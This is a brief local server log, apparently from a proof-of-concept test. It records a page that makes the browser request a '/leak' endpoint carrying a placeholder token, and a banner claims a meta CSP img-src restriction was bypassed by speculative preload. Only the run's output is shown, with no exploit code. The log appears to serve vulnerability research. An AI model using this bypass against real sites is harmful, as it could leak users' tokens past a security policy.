[server] listening on http://127.0.0.1:8000
[server] POC:     http://127.0.0.1:8000/poc.html
[server] control: http://127.0.0.1:8000/control.html
[server] 127.0.0.1 - "GET /poc.html HTTP/1.1" 200 -

========================================================================
[!!!] LEAK ENDPOINT HIT: /leak?token=SECRET&via=poc
[!!!] Referer: http://127.0.0.1:8000/poc.html
[!!!] Cookie:  None
[!!!] Purpose: None Sec-Purpose: None
[!!!] -> meta CSP (img-src 'none') was BYPASSED by speculative preload
========================================================================

[server] 127.0.0.1 - "GET /leak?token=SECRET&via=poc HTTP/1.1" 200 -
[server] 127.0.0.1 - "GET /control.html HTTP/1.1" 200 -
[server] 127.0.0.1 - "GET /poc.html HTTP/1.1" 200 -